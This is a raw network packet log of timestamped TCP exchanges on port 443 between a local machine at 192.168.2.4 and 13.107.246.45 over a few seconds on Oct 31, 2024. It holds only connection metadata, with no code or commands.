Oct 31, 2024 07:15:01.132190943 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.132205963 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.132257938 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.132265091 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.132311106 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.133207083 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.133241892 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.133291006 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.133296967 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.133337021 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.226691961 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.226780891 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.226830006 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.226880074 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.227024078 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.227030039 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.227041006 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.227045059 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.270421028 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.270452023 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.270463943 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.270540953 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.270556927 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.270626068 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.270860910 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.270874977 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.270991087 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.271020889 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.272609949 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.272634983 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.272692919 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.272834063 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.272856951 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.274163008 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.274171114 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.274215937 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.274965048 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.274988890 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.275032043 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.275130033 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.275139093 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.275228024 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.275239944 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.007085085 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.007286072 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.009231091 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.012670040 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.013987064 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.013999939 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.014486074 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.014492035 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.016746044 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.018544912 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.018583059 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.018949986 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.018960953 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.022969007 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.022979021 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.023509026 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.023514032 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.026639938 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.026657104 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.027040958 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.027051926 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.027282000 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.027288914 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.027656078 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.027663946 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.146578074 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.146620989 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.146667957 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.147371054 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.147386074 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.147437096 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.147464991 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.147516012 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.147521973 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.147569895 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.149610043 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.149660110 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.149704933 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.149715900 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.149898052 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.149945021 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.152821064 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.152873039 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.152937889 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.152955055 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.152990103 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.153007030 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.153064013 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.154491901 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.154562950 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.154598951 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.158077002 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.158077002 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.158087015 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.158096075 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.162708998 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.162739038 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.162817001 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.162832022 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.167138100 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.167143106 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.167164087 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.167167902 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.172924995 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.172936916 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.173718929 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.173729897 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.173738956 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.173743963 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.187885046 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.187901020 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.187963963 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.195621014 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.195646048 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.195697069 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.198184013 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.198191881 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.198244095 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.198637962 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.198649883 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.199559927 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.199573994 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.199830055 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.199836969 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.211564064 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.211590052 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.211659908 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.212110996 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.212125063 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.213825941 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.213851929 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.213912010 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.214651108 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.214662075 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.929651022 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.930181026 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.930192947 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.930792093 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.930795908 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.933336973 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.933692932 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.933710098 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.934186935 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.934192896 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.941040993 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.941479921 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.941488028 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.941881895 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.941886902 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.949213028 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.949959993 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.949974060 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.950345993 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.950350046 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.957756042 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.958127022 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.958142042 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:02.958642006 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:02.958647966 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.056447983 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.056482077 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.056560040 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.056905985 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.056914091 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.056922913 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.056926966 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.061479092 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.061614990 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.061674118 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.062513113 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.062530994 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.062541008 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.062547922 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.062696934 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.062741041 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.062798977 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.063035965 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.063051939 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.064944983 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.064969063 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.065021992 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.065140009 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.065150976 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.071553946 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.072961092 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.073025942 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.073081970 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.073087931 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.073097944 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.073101997 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.075428009 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.075442076 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.075510025 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.075650930 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.075663090 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.080261946 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.080329895 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.080383062 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.080466032 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.080471992 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.080482006 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.080485106 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.082767010 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.082786083 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.082853079 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.082994938 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.083008051 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.090953112 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.094454050 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.094526052 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.094558954 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.094572067 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.094580889 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.094587088 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.120713949 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.120726109 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.120799065 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.120951891 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.120960951 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.783986092 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.787602901 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.787616014 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.788059950 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.788064957 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.799751043 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.803972006 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.806531906 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.806556940 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.807060957 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.807066917 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.807353973 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.807375908 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.807934046 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.807940006 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.812717915 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.812979937 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.812992096 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.813453913 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.813460112 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.911690950 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.911842108 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.911947966 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.911976099 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.911984921 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.911994934 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.911998987 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.914549112 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.914575100 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.914639950 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.914783955 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.914798021 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.933891058 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934025049 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934101105 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.934228897 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.934241056 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934250116 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.934254885 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934449911 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934530020 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.934581041 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.935102940 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.935112953 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.935122967 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.935127020 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.937377930 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.937391043 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.937618017 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.937722921 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.937736988 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.937834024 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.937854052 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.937907934 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.938056946 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.938071012 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.941128016 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.943408012 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.943417072 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.943802118 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.943805933 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.944067955 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.944237947 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.944333076 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.944415092 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.944422960 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.944432974 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.944437027 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.946485996 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.946499109 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:03.946552038 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.946671963 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:03.946681976 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.076931953 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.077167034 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.077260017 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.077295065 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.077303886 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.077337980 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.077342987 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.079900026 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.079938889 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.080018997 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.080173016 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.080187082 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.634402037 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.634850979 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.634867907 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.635329962 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.635335922 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.673120975 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.673433065 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.673593998 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.673608065 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.673706055 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.673719883 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.674057961 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.674062014 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.674148083 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.674150944 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.689766884 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.690080881 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.690093040 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.690434933 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.690439939 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.762392044 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.762464046 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.762522936 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.762746096 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.762765884 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.762799025 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.762804031 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.765239954 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.765255928 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.765328884 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.765455961 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.765465021 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.802792072 CET	443	49782	13.107.246.45	192.168.2.4
